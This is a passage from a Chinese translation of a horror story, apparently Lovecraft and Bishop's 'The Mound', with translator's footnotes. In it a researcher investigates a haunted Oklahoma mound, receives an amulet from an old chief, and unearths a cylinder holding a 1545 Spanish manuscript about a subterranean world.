这就是土丘探索史的终点。从次之后,直到现在的八年时间里再没有任何人靠近过那块地方,事实上少数人甚至会想用望远镜监视那里。有时,人们会不断紧张地瞥向那座衬印着西面天空、一如既往突兀地耸立在平原上的孤单小山,并为白天那个在山顶来回走动的黑点——或是夜晚那个闪烁不定的鬼火——感到不寒而栗。那块地方已经成为了村民心中一个不能去窥探的谜,而且大家都认为村民们应该回避这一话题。毕竟,想要避开那座山丘是件很容易的事情;毕竟生活空间在各个方向上都几乎是无限的,而社会生活也总遵循着既定的轨迹。村子面向土丘的那一边简单地保持着没有任何道路的状态,仿佛那里曾是一片水域、或者沼泽、或者沙漠。但是,那些曾警告小孩与陌生人远离土丘的传说很快便再一次被那个关于印第安杀手鬼魂与他的女性牺牲者的平淡故事给埋没了,这又一次说明了人类这一物种的迟钝以及在想象力上的匮乏。只有那些居住在保留地里的部落成员,以及像是康普顿祖母这样深思熟虑的老人物,才会记得那些隐藏在邪恶风景后的言外之意;才会记得那些回来后变得截然不同、神智错乱的人口里所说的胡言乱语,以及那些胡言乱语更深处的无限邪恶含义。 当克莱德讲完这些事情时,已经非常晚了,而康普顿祖母早就上楼休息去了。我对这个令人恐惧的谜团完全没有任何头绪,然而却反感任何与理智的唯物主义相矛盾的观念。那里究竟有着怎样的事物能将如此多曾探索过土丘的人逼到疯狂,或是精神错乱的境地?虽然这些故事令我印象非常深刻,但我仍觉得欢欣鼓舞而非泄气。很确定,我必须寻根究底,同时我要保持冷静的头脑以及坚定的决心。康普顿看出了我的想法,同时担忧地摇了摇头。接着,他示意我跟着他到户外去走一走。 我们走出了木屋,来到了街道,或者说小巷,中较安静的那一边,然后又在八月那逐渐亏缺的月光中走了几步,来到了房屋较为稀薄的地方。半月在天空中挂得很低,因此并没有掩盖住天空中的许多星星;所以,我不仅可以看到逐牛郎与织女星那逐渐西沉的闪烁微光,还能看到微微发亮的神秘银河。接着,我突然看到了一个不是星星的光点——那是一个蓝色的光点,在银河的衬映下闪烁着,游移在接近地平线的位置上。接着,我看清楚那个光点来自远处无限延伸、朦胧微亮的平原上一座隆起的顶端;于是我带着疑问转向康普顿。 “是的”他回答道。“那就是蓝色的鬼火——那里就是那座土丘。那鬼火,从过去到现在,没有哪个晚上间断过——在宾格镇里没有任何人会走出村子,往那边走过去。年轻人,那绝对是个麻烦,如果你够聪明你最好把它撇在一边。你最好取消掉你的研究,小伙子,在这附近寻找一些其他的印第安人传说。我们这里有足够多的东西够你忙的了,谁知道呢!” ----------- ### II 但我没有心情理会任何形式的忠告。尽管康普顿为我准备了一间舒适的房间,但我却一刻也睡不着,从头到尾只想着第二天早晨去见证那个白天出现的鬼魂,以及询问那些居住在保留地里的印第安人。我打算缓慢而彻底地着手调查这件事情,在开始任何实际的考古学调查前,先从白人和印第安人那里收集准备好一切可利用的资料。黎明的时候,我爬了起来穿好了衣服,等听到其他人的忙碌的响动时,我走下了楼梯。康普顿正在厨房生火,而他母亲则在食品储藏室里忙碌着。当康普顿看见我时,他点了点头,稍后便邀请我到外面迷人的初升朝阳下走一走。我知道我们要去哪里,当我们沿着巷子走下去时,我瞪大了眼睛,望向西面的平原。 土丘就在那里——远远的就在那里,那人工般的规整形状看起来非常奇怪。它肯定有三十到四十英尺高,从我这个方向看过去,土丘由南到北的长度不超过一百码。根据康普顿的说法,土丘东西方向的长度要比南北方向更长一些,整个轮廓呈现出一个有些细长的椭圆形模样。据我所知,他曾安全地从那里走过几个来回。当我望着那由西面深蓝色天空勾勒出的土丘边缘时,我试着寻找它上面那些微小的不规则处,并且很快感觉到那上面似乎有什么东西在移动。我的心跳开始有些加快,同时飞快地抓起了康普顿递给我的高倍双筒望远镜。在仓促对焦之后,我起先只看到远处土丘边沿上的一丛灌木——接着某些东西悄悄走进了我的视野。 那无疑是个人的形状。几乎是在同时,我立刻便意识到自己看到的正是那个在白天出没的“印第安人鬼魂”。我对之前那些关于这个鬼魂的描述没有任何的疑议,很确定,那高大、瘦削、穿着暗色长袍的东西有着一头装带着饰物的黑色头发以及一张古铜色、满是皱纹、毫无表情的鹰脸,他比我之前遇到过的任何东西更像是个印第安人。然而,我保守民族学知识训练的双眼几乎在同时便告诉我,这并不是迄今我们所知道的任何一种印第安人,他们肯定经历了极其巨大的种族变异,而且有着完全不同的文化渊源。现代印第安人的颅指数比较大[注1]——他们都有着圆形的头颅——除了那些有着两万五千年历史的古普韦布洛印第安人遗骸外,你找不出任何一个长颅型[注2]的,或者说形状扁长的印第安人头盖骨;然而这个人头骨长颅型的特征是如此的明显,即便相隔着遥远的距离而且双筒望远镜视野也容易发生变动,但我仍在一瞬间就发现了这个特征。同样,我还发现他身上长袍的式样也代表了一种全新的装饰习俗——这与我们从西南方的土著艺术那里了解到的传统完全不同。他的袍子上有着闪亮的金属装饰,而且,在他的侧身还带着一把短剑或类似的武器,那样式也不同于我曾听说过的任何东西。 _[注1:人体测量学中重要的测量项目之一,亦称颅长宽指数,即颅宽与颅长的比值。较大意味着面部较宽,颅骨前后距离较短]_ _[注2:指颅指数较小,头型扁圆,面部较窄,颅骨前后距离较长。]_ 我用望远镜看着他在丘顶踱来踱去,走了几分钟。他迈步时的运动学特征与他昂着头镇定自若的模样并没有什么特别之处;这让我给一种挥之不去的强烈印象,觉得那个人——不论他是什么人、他是什么——肯定不是个原始野蛮的人。我本能地意识到,他肯定是文明教化的产物,虽然我想象不出那究竟是怎样的文明。最终,他消失在了土丘的远端,仿佛他沿着我看不到另一面的山坡走了下去;于是我怀着一种混合了各种疑问的古怪心情放下了望远镜。康普顿好奇地看着我,而我不置可否地点了点头。“你怎么看?”他谨慎地问到。“这就是我们在宾格镇里每天日常生活时便能看到的情景。” 那天中午,我在保留地里见到了老灰鹰——虽然,他肯定快一百五十岁了,但他仍奇迹般地活着。他是个古怪同时也令人印象深刻的人——这个坚定,无畏的领导者与他部族曾与歹徒、系着带穗鹿皮裤的商人以及穿戴着三角帽与及膝短裤的法国官员打过交道——由于我顺从尊重的态度,我很高兴地发现他似乎很欣赏我。然而,在了解到我的来意后,他对我的欣赏却不幸地成为了一道障碍;因为他的所有举动都是在警告我注意我将要展开的研究。 “你是个好小伙子——你不要去打扰那座山丘。坏事。那下面有许多魔鬼——当你开始挖土的时候,就会抓住你。你不去挖掘,就不会受伤害。如果过去挖掘,就回不来了。我还是小孩的时候就是这样了,我父亲还是小孩的时候,我父亲的父亲还是小孩的时候就是这样了。那个家伙一直在白天出现,而那个没有头的女人则在晚上出现。自从那些穿着锡铁衣服的白人从日落的方向、大河的下游过来时,就是这样了[注]——那是很早以前的事情了——有三、四个灰鹰的年纪了,比法国人过来的时间还要早上两倍——从那以后就是这样了。在那之前,没有人会靠近那些小山,或者是有着石头洞穴的河谷。再往前的时候,那些老一代还没有躲起来,他们出来修建村庄。带来许多黄金。我们和他们。你们和他们。然后大洪水来了。所有的事情都变了。再也没有人出来,也不准任何人进去。进去的,就再也出不来了。他们不会死——也不会像灰鹰脸上纵横的沟壑和头上白花花的积雪那样变老。他们就像空气——有些是人,有些是精魂。坏事。有时候在晚上,精魂会出来,半人半马的样子,长着角,并且在人们战斗过的地方战斗。离他们远些。他们不好。你是个好小伙子——走开,别去管老一代的。” _[注:指西班牙人早期对美国西部的勘探]_ 这就是所有我能从老酋长那里获得的所有信息,其他那些印第安人则什么也不说。但是如果遇上什么麻烦,灰鹰无疑会更加烦恼;因为他显然为我打算深入那片他甚至没有勇气去面对的地区的决定感到非常遗憾。当我准备离开保留地的时候,他拦住了我,为我举行了一次正式的道别,并且试图再次劝说我承诺放弃目前的研究。当他意识到自己无法劝阻我的时候,他有些胆怯地从自己带着的鹿皮小包里掏出了一件东西,并且非常庄重严肃地递给了我。那是个直径大约两英寸、有些磨损但做工精良的金属圆碟。圆碟上有着奇怪的图案,并且打了孔,悬吊在一条皮索上。 “你不愿意承诺,所以灰鹰没法告诉你有什么在等着你。但如果有什么能帮助你,这是好的。这是我父亲传给我的——他从他的父亲那里拿到的——他也从他的父亲那里拿到的——一直上溯回去,接近泰尔华[注],所有人的父亲那个时候。我父亲对我说,‘你要躲开那些老一代,躲开那些小山和有着岩石洞穴的河谷。但如果老一代走出来抓住了你,那么你就把这东西给他们看。他们知道。他们在很久以前制作了他。他们看了,那么他们也许就不会做什么坏事。但说不准。你离远点,和以前一样。他们不是好的。没人说得出他们会做什么。’” _[注:Tiráwa,出自北美印第安人波尼部落的神话。其中泰尔华是波尼神话的创世神。]_ 灰鹰一面说,一面将那东西挂在我的脖子上。然后,我发现它的确是一件非常奇怪的东西。我越是仔细查看它,就越是感到惊讶;我从未见过像它这种沉重、暗色、带光泽同时色彩斑驳的材质,而且上面的图案也似乎体现出了不起的艺术性,以及完全陌生的做工技巧。在圆碟的一面,就我能看见的部分,有着一个做工精巧的蛇形图案;而在圆碟的另一面,描绘着一种章鱼,或是带触手的怪物。圆碟上还有一些有些模糊的象形文字,但却没有哪个考古学家能够识别出来,甚至都没办法猜测它的类别。后来,在得到灰鹰的允许后,我让不少内行的历史学家、人类学家、地质学家以及化学家传阅过这片圆碟,但我能得到的只有无一例外的迷茫与困惑。化学家们认为这是某种由很重原子量的金属元素制备的汞齐合金[注],而一个地质学家暗示说这种物质肯定是从那些来自外太空未知深渊里的陨石上获得的。这东西是否真的挽救了我的性命,或是维护了我理智的健全,抑或保全了我作为人类的存在,我已无法妄下结论,但是灰鹰对此深信不疑。现在,他又重新拿回那个东西。而我不禁怀疑这东西是不是与他那超乎寻常的寿命有着某些关系。他所有曾拥有过这个物件的祖先,除了那些死于战场者外,都活过了一个多世纪的岁月。如果灰鹰不遭遇什么意外,他是不是就永远不会死去?但还是容我继续我的故事。 _[注:金属溶解在汞中后产生的合金,根据溶质金属的性质不同会得到液态和固态的合金。]_ 当我回到镇子里时,我试图寻找更多关于土丘的传说,但是能找到的只有人们兴奋讲述的小道传闻与激烈的反对意见。看到人们为我的安全问题而焦虑实在是很让人高兴,但是我必须将他们近乎狂热的告诫搁在一边。我向他们展示了灰鹰的护身符,但却没有一个人曾听说过这东西,也没有任何人曾见过哪怕有一丁点儿相似的东西。他们一致认为那不可能是一件印第安人遗物,同时认为老酋长的祖先肯定是从某个商人那里换来的。 当他们发现自己无法阻止我继续考察工作时,宾格镇的居民惋惜地尽他们可能帮助我准备好了需要的器具。由于我在抵达之前就已了解需要进行哪些工作,所以我的绝大部分补给都已经随身带好了——其中包括一柄印第安人用的弯刀,用于清理灌木与展开挖掘工作的双刃短刀,在开展任何可能的地下探险时需要用到的手电筒,绳索,双筒望远镜,卷尺,显微镜以及一些出现紧急事件时使用的附带物件——事实上,我尽可能塞满了一个方便的旅行袋。考虑到已有了这些设备,我只为自己添置了一把治安官强迫我带上的转轮手枪,以及铁锹与铲子——我觉得这也许能加快我的工作进展。 我决定把这些后来添加进来的东西用一根结实的绳索拴着挂在肩膀上——因为我很快就意识到,我不能指望会有任何人愿意帮助我,或是与我一同展开探险。无疑,整个镇子都会用他们能找到的望远镜与双筒望远镜远远地望着我;但却不会有任何居民愿意往平原上向着那座孤单土丘的方向走上哪怕一码的距离。我把启程的时间定在第二天的早上,而那天余下来的时间里,镇民纷纷怀着一种充满了敬畏与不安的尊敬态度招待我,就像是在招待某个出发走向注定厄运的人一样。 当早晨来临的时候——天虽然有些阴暗,但却并非充满了凶险与不祥的意味——整个镇子里的所有人都走出门来,看着我启程穿越尘土飞扬的平原。双筒望远镜显示丘顶上那个孤独的印第安人依旧踩着他寻常的步伐,而我决定在接近的过程中尽可能稳定地将他保持在视野之内。在这最后的时刻里,一种隐约的恐惧感摄住了我。而我的反复无常与软弱也足够让我将灰鹰的护身符挂在自己胸前最显眼的位置上,好让任何有可能在意它的生物或鬼魂第一眼就能看到它。在与康普顿和他母亲道别之后,我开始大踏步地前进。虽然当时我左手提着旅行袋,背上还捆扎着叮当作响的大镐和铁铣,却并没有对我的步子带来太大影响;我右手抓着自己的双筒望远镜,并且时不时地往丘顶上那个安静迈步的印第安人望上一望。当我靠近土丘时,我能非常清楚地看见那个印第安人,并且觉得能从他那张满是皱纹、秃顶的容貌中觉察到无限的邪恶与颓废。当我看到他那金闪闪的武器套上有着一些与我佩戴的护身符上的未知符号非常相似的象形文字时,我更感到错愕。这个人的装束与饰物都体现出细腻精美的做工与极有品位的修养。接着,在突然之间,我看见他开始走下土丘另一面的山坡,消失在了我的视野之外。出发十分钟后,当我抵达目的地时,那里已经空无一人了。 现在已经没有必要再详述考察刚开始的那段时间里我所做的工作了。我环绕了整个土丘,展开调查,进行测量,并且退回去试着从不同的角度上看待问题。当我接近它时,这座土丘令我印象深刻,在它那太过规则的外形之下,似乎隐伏着某种威胁的意味。这是这片旷阔而又平整的平原上唯一一处隆起的地方,有一会儿,我不禁开始相信这座土丘的确是一座人工建造的古墓。但土丘陡峭的山坡似乎完全没有被开垦过,也没有任何人类居住和修建道路的迹象。土丘上并没有一条通向顶端的道路;所以考虑到自己身负重物,我设法尽量用较轻松的方式爬上土丘。当我爬上丘顶时,我发现这是一个近乎平整,大约三百英尺乘五十英尺大小的椭圆高地;高地上覆盖满了丛生的杂草和繁茂的灌木,完全不像是经常有一个哨兵在上面来回踱步的样子。这种情况让我真正感到了惊骇,因为这无疑说明虽然那个“老印第安人”看起来如此栩栩如生,却不过是某种群体性的幻觉而已。 在极端的困惑中,我警觉地查看着四周,不时愁闷地向镇子的方向瞥上一眼,那儿有一群黑色的圆点,那是在观望的人群。当我举起望远镜看向他们时,我看到他们正热切地用望远镜看着我;所以为了让他们放心,我在空中挥了挥自己的帽子作出一副洋洋得意的模样,可事实上我一点也不觉得高兴。接着,我扔下了长镐、铁锹与旅行袋;并从旅行袋中拿出弯刀,开始清理灌木丛。这是件乏味的工作,而我不时奇怪地感觉到一阵寒颤——仿佛总某些非同寻常的风突然而至巧妙甚至近乎有意地阻碍着我的动作。有些时候,当我工作时,仿佛有一种隐约有形的力量将我向后推去——仿佛我前方的空气变得粘稠而浓密,或者是无形的手猛拉着我的腰部。在没有获得任何令我满意的结果前,我就已经精疲力尽了,不过虽然如此,我还是有所收获的。 等到下午的时候,我清楚地发现到在土丘北面的尽头那树根丛生的土地上有一个略微像是碗形的凹陷。虽然这说明不了什么,但等到需要进行挖掘时,这里会是一个开始工作的好地方,我在心里记下了这个地方。与此同时,我留意到了另一件非常奇怪的事情——那只挂在我脖子上印第安护身符在距离那处凹地东南方向十七英尺外的某个位置上会有古怪的表现。每次我在那个地方附近弯腰时,它的摆动都会发生变化。而且它仿佛被拖拽着,就像那儿的土地里有着某些奇异的磁力在吸引它一般。我越是留意这一点,就越被他吸引,直到最后,我决定立刻在那上面进行一次小规模的初步挖掘。 当我用我的双刃短刀翻开地面的时候,我不禁感到奇怪——这里红土层相对来说要比其他地方薄得多。村子的下面几乎完全是红色的砂岩土层,可到了这里,在不到一英尺深的地下,我却奇怪地发现了一层黑色的肥沃土壤。在西面和北方的远处,那些奇怪的深邃山谷里也能找到这种黑色土壤。而这些土壤肯定是在史前时期,当这座土丘耸立起来的时候,被搬运过遥远的距离,最后堆积在了这里。当我跪在黑土里继续挖掘下去时,我觉得挂在脖子上的皮索变得越来越沉重,仿佛土里的某些东西似乎在越来越强烈拉扯着这枚沉重的金属护身符。接着,我觉得手里的工具撞到了一个坚硬的表面,于是我开始怀疑下面会不会有一层岩石。当我用双刃短刀试图撬动时,我发现事实并非如我所想的那样。相反,令我极度意外和兴奋的是,我挖出了一个沉重、包满了霉菌的圆柱形物件——这东西大约有一英尺长,直径四英寸——吊在我脖子上的护身符粘在上面,仿佛被胶粘上了一般。 我坐下来,用灯笼裤粗燥的灯芯绒布料进一步清理掉那些附着在磁性圆柱上的霉菌,接着便发现它同样也是用护身符那种沉重、带光泽的未知金属制作的——因此,这种奇怪的吸引力无疑得到了解释。圆柱体上面的雕画与镂刻全都非常奇怪,也非常可怕——全都是些无可名状的怪物与图案,并且充满了暗含的邪恶意味——但所有这些都被极好地抛光过,并显示出非凡的做工。我在一开始分不出这个东西的头尾,只能盲目地摆弄它,直到我看见在它的一端有着一道裂缝。于是,我热切地开始寻找一种方法来打开它。最后,我发现这个末端仅仅是简单地旋开即可。 圆柱的盖子非常难打开,但最后还是被我打开了,并且随之释放出一种奇怪的香味。罐子里只有一大卷淡黄色、像是纸一样的东西,上面写满了绿色的符号。在那一瞬间,我怀着极其激动的心情想象我拿到了一把通向未知远古世界以及超越时间深渊的文字钥匙。然而,在展开卷轴的的一瞬间,我几乎立刻发现这是一张用西班牙文完成的手稿——不过,那是正式、华丽却已经消失了很久的古西班牙语。在金色的落日中,我看着开头的段落,努力试图解译那位已经消失的作者所留下的这份令人痛苦的、断句错乱的手稿。这是怎样一份遗物呢?我在偶然之间,到底发现了怎样一个东西呢?最先出现的词句让我陷入了一阵狂热的兴奋与好奇,因为它不仅没有将我从原有的追寻目标上转移开,反而令人惊异地让我坚定了继续努力的信心。 那张写着绿色字迹的黄色卷轴在开端的部分有着一个引人注目、明确的标题,并且隆重得近乎绝望地恳求读者相信接下来那些令人难以置信的揭示: **RELACIÓN DE PÁNFILO DE ZAMACONA Y NUÑEZ, HIDALGO DE LUARCA EN ASTURIAS, TOCANTE AL MUNDO SOTERRÁNEO DE XINAIÁN, A. D. MDXLV** **En el nombre de la santísima Trinidad, Padre, Hijo, y Espíritu-Santo, tres personas distintas y un solo. Dios verdadero, y de la santísima Virgen muestra Señora, YO, PÁNFILO DE ZAMACONA, HIJO DE PEDRO GUZMAN Y ZAMACONA, HIDALGO, Y DE LA DOÑA YNÉS ALVARADO Y NUÑEZ, DE LUARCA EN ASTURIAS, juro para que todo que deco está verdadero como sacramento. . . .**[注] _[注:阿斯图里亚斯公国卢阿尔卡镇绅士潘费罗·德·扎曼阿克拉关于地下世界Xinaián的叙述,公元1545年。_ _以神圣的三位一体圣父、圣子、圣灵之名,真神上帝与圣母显灵,潘费罗·德·扎曼阿克拉,阿斯图里亚斯公国卢阿尔卡镇佩德罗·古兹曼与绅士扎曼阿克拉之子,在此起誓,我所言一切皆如圣礼所行真实无虚]_ 我停下来思索着我所读到的这些话语中蕴含的不祥意味。“关于地下世界Xinaián,叙述者,来自阿斯图里亚斯公国[注]卢阿尔卡的潘费罗·德·扎曼阿克拉·鲁兹绅士,A.D.1545”……显然,这一部分已经无法让人在短时间内完全接受。地下世界——这个一直为世人津津乐道的构想再一次被提了出来,尽管所有的印第安人传说和那些从土丘上折返回来的人却从未提到过这种想法。而这个日期——1545——又是什么意思呢?在1540年西班牙探险家科罗拉多和他的手下曾从墨西哥往北,深入了西部的荒野,但他们不是在1542年就返回了么?我的双眼飞快地扫过卷轴已经被展开的部分,搜寻着我想要的东西,接着,几乎就在一瞬间抓住了那个名字——弗朗西斯科·瓦兹克兹·德·科罗拉多。这份卷轴的作者显然就是科罗拉多的手下之一——但他在他的团队完成探险返回的三年后仍待在这块偏远的地方干什么呢?我必须要进一步读下去,因为我看到现在展开的卷轴只是一份对于科罗拉多北上进军的摘要,与历史上大众熟知的内容并没有什么本质的区别。 _[注:西班牙一自治区]_ 最后,只有逐渐变弱的光线才能阻止我继续展开卷轴,进一步读下去的举动。虽然夜幕已飞快地降临在这片不祥的土地上,但沉溺在急切迷惑中的我却几乎已经忘记了那些潜伏着的恐怖。我听到远处传来那群聚集在村子边缘的居民所发出的大声呼喊。为了回应他们焦急的呼叫,我把手稿塞回了那只奇怪的圆筒里。我脖子上的护身符圆碟还紧紧地粘在圆筒上,直到最后我只得把它橇下来,与其他较小的工具包在一起,分离开二者。我把大镐与铁锹留在原地,以便展开明天的工作,然后拿起了旅行袋,爬下了土丘陡峭的山坡。然后花了一刻钟的时间回到村子里,并向他们解释和展览了我的古怪发现。当天黑下来后,我回瞥了一眼在不久之前才离开的土丘,颤抖着发现夜间那个女人鬼魂所持有的昏暗蓝色火炬已经开始闪烁了。 在解读那个西班牙人在过去留下的叙述之前,任何等待都是艰难的;但我也知道,为了更好地翻译这份手稿,我必须有一个安静的空暇时间,所以我极不情愿地将这份工作留到了夜间晚些时候再行展开。我向村民们清楚地描述了我上午的发现,并给他们充足的时间检查那个令人困惑又兴奋的圆筒。而后便尽可能快地在人们的陪伴下回到了克莱德·康普顿的家中,爬上二楼我的房间,立刻展开翻译工作。房子的主人与他的母亲都热切地希望听到整个故事,但我想他们最好还是先等等,等我完全理解了整份手稿后再简明而准确地告诉他们手稿的要旨。 我在一盏电灯下打开了我的旅行袋,再次拿出了那只圆筒,并且立刻留意到了那种拉扯着印第安人护身符、令它紧紧粘附在雕刻过的圆筒表面的磁力。那些图案在那富有光泽的未知金属表面邪恶地闪烁着。这些有着细腻做工,但却奇形怪状、邪恶得应当被诅咒的形状不怀好意地睨视着我,令我在研究时不寒而栗。我现在很希望自己当时能仔细地把那些图案拍下来——但也许幸好我没有这么做。至少有一件事让我颇为庆幸,我当时并没有认出那个在大多数华丽图框里占主要地位的事物——那是一个蹲伏着的东西,有着像是章鱼一样的头部,而手稿里则称之为“图鲁”。直到最近我才把它,以及手稿上有关它的传说,与一些新了解到的、讲述可怖而又无人敢提及的克苏鲁的民间故事联系起来——在传说中,那是一个可怖的存在,早在地球尚且年轻还未完全成形之时,它就已经从群星之间降临到了大地上;如果要是我当时就知道这些事情,我绝不会和那只圆筒待在同一个房间里。在图画里占第二位的主题是一条被半拟人化的大蛇,我很快便毫不费力地将它归结为伊格、羽蛇神、库库尔坎[注]等概念的原型。在打开圆筒前,我测试了它与除了灰鹰的圆碟护身符以外的其他金属之间是否有磁性作用,但却发现没有任何的相互吸引。显然,这块来自未知世界的可怖碎片与它同类之间存在的吸引力并非是一种普通的磁性作用。 _[注:玛雅对羽蛇神的称呼]_ 直到最后,我拿出了手稿,开始翻译——同时也快速地记下了一个概要的大纲,并且偶尔在遇到特别晦涩或古老的词汇与句法结构时,为没有一本西班牙字典而感到遗憾。在我连续不断的探索时被拖回近四个世纪之前的过去总让人一种无法形容的怪异感觉——在那个时候,我的先祖还只是些生活在亨利八世统治下的萨默塞特郡与德文郡上的绅士,一心想着保固家业,从未有过丝毫想要冒险——例如带着他们的家族前往弗吉尼亚与新世界——的念头;然而也就是在这个时候,徘徊在这座土丘上的秘密已经就存在于这个新世界里了,直到现在它仍旧存在着,并且成为了我眼下的研究目标。越是翻译这份手稿,这种被拖拽回过去的感觉就愈发的强烈,因为我本能地感觉到这个西班牙人与我遇到了同样的问题,这是一个无比古早的秘密——一个不洁却神秘地永恒存在的秘密——而间隔在我们之间那短短四百年的时间相比之下根本算不上什么。单单只是看一眼那个可怕、险恶的圆筒就能让我意识到在我们所熟知的世界与它所展现出的那些远古秘密之间存在着一道何等巨大的深渊。而潘费罗·德·扎曼阿克拉与我就肩并肩地站在这道深渊的边缘上;就像我身边站着亚里斯多德,或者基奥普斯[注]一般。 _[注:公元前2600年的第四王朝第二任法老,即是著名的胡夫 (Khufu) ,此为他在希腊语中的称呼。他在任时修建了著名的胡夫大金字塔]_ ----------- ### III 关于他年轻时候在卢阿尔卡——一个位于比斯开湾中平静的小港口上的生活,扎曼阿克拉说得很少。他曾经是个狂野的年轻小伙,在1532年的时候,年仅二十岁的他便来到了新西班牙[注1]。敏感而富有想象力的他为自己探听到的、有关北方未知世界与富饶城市的流言而深感着迷——其中马可仕·德·尼扎的故事尤其令他入迷,这位法兰西修道士于1539年从一趟旅途中回来之后便激动地向人们讲述传说中的锡沃拉[注2],以及它那被高墙围绕的城市与梯田般的岩石房屋。当听到探险家科罗拉多准备组织探险队去寻找那些奇迹——并进一步寻找传说中野牛之地[注3]上位于那些奇观之后更伟大的奇迹——年轻的扎曼阿克拉决定加入那支精挑细选地三百人小队,并在1540年与剩下的人一同启程北上。 _[注1:殖民时期西班牙在美洲的殖民地总督辖区之一。于1521年设立。其最大范围包括现在的北美洲西南部与大部分的中美洲地区。]_ _[注2:锡沃拉,对于流传在当时殖民者口中的七座财富之城的统称。]_ _[注3:指北美西部平原,当时西部还有着许多北美野牛,故有此称呼。]_ 历史记录了那次探险队的故事——他们发现锡沃拉仅仅只是一个肮脏的安普韦布洛人村落,而德·尼扎则因为他那华丽的浮夸故事召来了一片骂声,最后被赶回了墨西哥;历史上记录了科罗拉多是如何第一次看到大峡谷的;以及他是如何在佩科斯河上的切可纽镇从一名叫做艾尔·图尔科的印第安人那里听说了富饶而神秘的基维拉——那是一座位于遥远东北方的城市,那里充满了黄金、白银与野牛,并且还奔涌着一条两里格宽的大河。而扎曼阿克拉则在记叙中简短地讲述了他们在佩科斯河上特格莱斯镇建立的冬令营,并记载说他们于四月份开始向北出发。他们的土著向导是个冒牌货,错误地将他们领到了另一片平原上——那里只有草原犬鼠、盐池以及其他一些迁徙狩猎野牛的部落。 于是科罗拉多解散了他的大部分随行,只带着一支精挑细选后组成的规模极小的分遣队继续前进,完成了最后四十二天的行进。当时扎曼阿克拉也设法加入了这支进一步探险的小分队。他在叙述里提到了肥沃的乡野,以及陡峭崖顶边缘探出茵茵林木的巨大深谷;并且讲述了他们所有人是如何单单只吃牛肉而继续生活下去的。然后他提到了探险队所抵达的最远疆域——那片可能被称为基维拉,但却颇为令人失望的土地;同时他也提到了许多由草屋组成的村落,以及那片土地上的溪流与河谷,还有它肥沃的黑色土壤和盛产的洋李、坚果、葡萄与桑葚,另外还有在那里使用铜器、依靠种植玉米生活的印第安人。叙述中若无其事地提到了他们处决了艾尔·图尔科,那个指错路的土著向导;同时也提到科罗拉多于1541年秋天在一条大河边竖起了一只十字架——上面刻着题名“大将军弗朗西斯科·瓦兹克兹·德·科罗拉多远征至此。” 这个所谓的基维拉大约在北纬四十度附近。而我则想起纽约的考古学家霍奇在不久之前曾将它定位于堪萨斯州、巴顿郡与莱斯郡内阿肯色河流域的某处——在苏族人将威奇托人赶进南方[注],也就是现在的俄克拉何马州之前,那里还是威奇托人的老家——那里最近也发现许多草屋村落的遗址,并且也挖掘出了不少的人造物。由于四下的印第安人自古以来就一直充满畏惧地流传着一些关于富饶城市与隐匿世界的传闻,所以科罗拉多也曾在那附近的地区进行过大量的探索工作。但这些北方的土著似乎比墨西哥地区的印第安人更加害怕和不愿谈论这些出现在传闻里的城市与世界;然而,与此同时,如果他们愿意、或是敢于谈论这些东西的话,他们所能揭露出来的东西则要比那些墨西哥人多得多。他们的含糊其辞激怒了西班牙人的领导者,所以在经历过许多次令人失望的搜索后,科罗拉多开始非常严厉地对待那些带给他故事的人。扎曼阿克拉则要比科罗拉多耐心得多。他发现这些传说非常有趣;同时也学习了大量的当地语言能让他与一个名叫奔牛的年轻人展开长时间的对话——这个年轻人旺盛的好奇心令他去过许多地方,其中的有些地方要比他的族人胆敢窥探那些的地方离奇怪异得多。 _[注:这里提到的两族人各属于北美印第安人的一支,其中威奇托人属于喀多人这个大的族系。]_ 奔牛向扎曼阿克拉提到了一些古怪的石头通道、大门、或是洞穴入口——这些奇怪的地方都位于某些陡峭、生长着繁茂树木的谷底,远征队向北行进的时候根本就没有注意到这些地方。他说,这些通道大多都被灌木丛遮蔽着;而且自古以来就极少有人会进入那里。那些胆敢沿着通道前往另一边的人大都没有再回来——不过,在极少数情况下,也会有些人会疯疯癫癫、或是带着奇怪的伤残折返回来。但所有这些都只是些传说而已,因为即便上溯到现在还活着的最年长的人的祖父那一辈,也没听说谁曾经过分地深入过那些地方。要说探索这些地方,恐怕奔牛比其他任何人都要走得更远一些;而且他也见识到了许多的东西,足够他压抑住自己的好奇心与贪念,不去理会那些传闻中埋藏在地下的黄金。 他所进入的那个洞穴连接着一条长长的通道。这条通道疯狂地向上、向下前进,迂回地延伸着。通道中雕刻着某些从未有人见过的怪物与恐怖存在。然后,在经历过无数英里的迂回与下坡之后,通道里出现了可怕蓝色光芒;这条隧道通向一个令人惊骇的地下世界。关于那个世界的详情,这个印第安人也说不出个所以然来,因为他见到的某些东西令他匆忙地退了回来。但是,他补充说,那些黄金城市一定就在下面的某处;也许一个有着闪电棍魔法的白人能够成功地进入那儿。不过,他不愿意对大长官科罗拉多说起这些事情,因为科罗拉多已经不会再听信印第安人说的任何东西了。是的——如果扎曼阿克拉愿意离开那只探险队,并且让他来做向导,那么他也愿意告诉扎曼阿克拉如何才能抵达那里。但是他却不会与这个白人一起再进入那个洞穴。那里面有着不好的东西。 那个地方在距离驻地大约有五天行程的南面,就在那片有着巨大土丘的地区附近。那里的土丘与那个位于地下的邪恶世界之间存在着某些联系——它们可能是在远古时候被封闭起来的的入口,因为住在下面的老一代曾经在地表建立过居住地,并且与世界各地的居民进行贸易——甚至还包括那些生活在后来被大洪水所淹没的大陆上的居民。但当那些大陆沉没之后,老一代便将自己封闭起来,躲进了地下,拒绝再与任何地表的人打交道。那些从沉没大陆上逃离出来的流亡者告诉他们大地上的神明在与他们作对,除了那些邪恶神明麾下的邪魔,没有人能在大地上继续生存下去。正因为如此,他们才将所有生活地表的居民隔绝在外,并且对那些胆敢闯入他们世界的家伙施以令人恐惧的惩罚。曾经有一段时候,他们在各个入口都安置了哨兵,但是随着时间的流逝,这一举动变得不再必要了。没有多少人愿意谈论那些关于躲藏起来的老一代的故事,所以如果不是偶尔会出现的一两件可怖事情还在提醒人们不要忘记他们的存在,那么关于他们的传说可能大多都已经销声匿迹了。似乎这些东西那几乎无限古老的历史令他们离奇地变得像是精魂一般,所以他们鬼魅的形象更是经常生动地浮现出来。相应地,那些于夜晚时候回响在巨大土丘附近地区的、幽灵般的战争情形便反映了在入口被封闭之前他们所展开过的战斗。 